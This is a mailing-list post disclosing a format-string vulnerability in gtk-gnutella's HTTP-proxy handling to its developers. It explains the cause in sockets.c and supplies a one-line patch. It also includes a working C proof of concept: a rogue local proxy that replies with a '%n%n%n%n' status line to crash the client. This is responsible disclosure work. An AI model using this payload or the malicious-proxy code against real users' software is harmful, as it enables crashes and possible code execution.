Hi Developers,
there is a security bug in gtk-gnutella but I think that attack scenarios
for it are very limited. The bug is present, at least, since version 0.91.1,
when I started using gtk-gnutella. As I am becoming a heavy user of
gtk-gnutella, I started reviewing the source code for security problems. I wish
to congratulate you, until now I saw a very robust code. Thank you also for this
great program.
Regards, Leonardo.
- Details below -
Problem:
--------
A malicious HTTP proxy may crash gtk-gnutella and, maybe execute code in the
context of the user running gtk-gnutella.
Cause:
------
In sockets.c, when using a HTTP proxy, if the proxy sends a return code
outside the range 200-299, gtk-gnutella writes to stderr the exact line
returned by the proxy. Unfortunately this is done calling "show_error(str);",
as this function use, by its turn, a call to "vfprintf" using "str" as the
format string, an untrustworthy proxy may manipulate memory positions using
the format string.
Fix:
----
I applied the patch below to sockets.c.
1665c1665
< show_error(str);
---
> fputs(str, stderr);
Mitigating Factors:
-------------------
- Gtk-gnutella must be connected by an HTTP proxy. I think this must be
rare. I saw in the FAQ that the Developers don't use proxies and this part of
the code isn't fully tested. I don't use proxies, I found the bug because I
was reviewing the source.
- The HTTP proxy must be untrustworthy, operated by a malicious person.
- The format string in question is located on heap. As seen in reference
[1], in the i386 GNU/Linux environment must be very hard, if not impossible,
to produce an exploit code, but appears that it's not so hard on others
architectures or operating systems.
Exploit:
--------
I don't master exploit writing, so I can't say for sure if it's possible
to execute code in the context of the user running gtk-gnutella. But it's easy
to crash gtk-gnutella with "Segmentation fault". The program below listen on
the local interface 127.0.0.1 port 1080. Configure gtk-gnutella to use an HTTP
proxy on this address:port and, with high probability, it will crash on the
first connect.
#include <sys/socket.h>
#include <unistd.h>
#include <netdb.h>
static char fmtcode[] = "HTTP/1.1 405 %n%n%n%n\n";
int
main(int argc, char **argv)
{
struct sockaddr_in sock, new_sock;
int a, status, client, len, n;
char buf[1024];
memset(&sock, 0, sizeof(sock));
sock.sin_family = AF_INET;
sock.sin_port = htons(1080);
sock.sin_addr.s_addr = inet_addr("127.0.0.1");
a = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (a == -1) printf("socket error\n");
status = bind(a, (struct sockaddr *) &sock, sizeof(sock));
if (status == -1) printf("bind error\n");
status = listen(a, 5);
if (status == -1) printf("listen error\n");
printf("listening on %d\n", ntohs(sock.sin_port));
len = sizeof(new_sock);
client = accept(a, (struct sockaddr *) &new_sock, &len);
if (client == -1) printf("accept error\n");
printf("got a connection from %s\n", inet_ntoa(new_sock.sin_addr));
n = read(client, &buf, sizeof(buf));
switch (n) {
case -1:printf("read error\n");
break;
case 0: printf("no bytes on socket\n");
break;
default:printf("read a packet len %d\n", n);
printf("value: %s\n", buf);
break;
}
status = write(client, fmtcode, sizeof(fmtcode));
if (status == -1) printf("local write write");
printf("local write wrote %d of %d bytes\n", status, sizeof(fmtcode));
close(client);
}
References:
-----------
[1] PHRACK 59 - x07 Advances in format string exploiting - gera & riq -
http://www.phrack.org
-------------------------------------------------------
The SF.Net email is sponsored by EclipseCon 2004
Premiere Conference on Open Tools Development and Integration
See the breadth of Eclipse activity. February 3-5 in Anaheim, CA.
http://www.eclipsecon.org/osdn
_______________________________________________
Gtk-gnutella-devel mailing list
[EMAIL PROTECTED]
https://lists.sourceforge.net/lists/listinfo/gtk-gnutella-devel